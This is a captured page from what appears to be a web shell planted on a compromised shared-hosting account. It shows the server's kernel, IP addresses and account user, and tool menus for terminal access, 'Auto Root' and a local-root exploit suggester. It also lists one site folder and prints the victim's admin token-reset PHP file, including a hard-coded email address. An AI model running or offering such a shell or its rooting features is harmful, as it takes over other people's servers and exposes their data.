Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.9
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
vendors /
typeahead.js /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-rw-r--r--
2025-09-01 07:26
generate_token.php
1.12
KB
-rw-r--r--
2024-11-06 08:08
on_off_test.php
14.85
KB
-rw-r--r--
2024-11-17 06:25
typeahead.bundle.min.js
0
B
-rw-r--r--
2025-09-13 01:57
Save
Rename
<?php session_start(); if (isset($_SESSION["user_id"])){ // Include the database connection include('../includes/configuration.php'); // Check if the email parameter is set if (isset($_GET['token'])) { $email = "ahmedniloy@gmail.com"; // Generate a new token (you can change this to any method of token generation) $newToken = bin2hex(random_bytes(5)); // Generates a 32-character token // Update the user's token in the database $sql = "UPDATE admin_user SET reg_token = ? WHERE email = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $newToken, $email); // "ss" for two strings if ($stmt->execute()) { // Success - redirect to the edit page with the email parameter header("Location: ../createLink.php?msg=success&text=New link generate successfully"); exit; } else { // Handle error header("Location: ../index.php"); } // Close the statement and connection $stmt->close(); $conn->close(); } else { // Handle the case where the email is not provided echo "Email not provided."; } } else { header("Location: ../index.php"); } ?>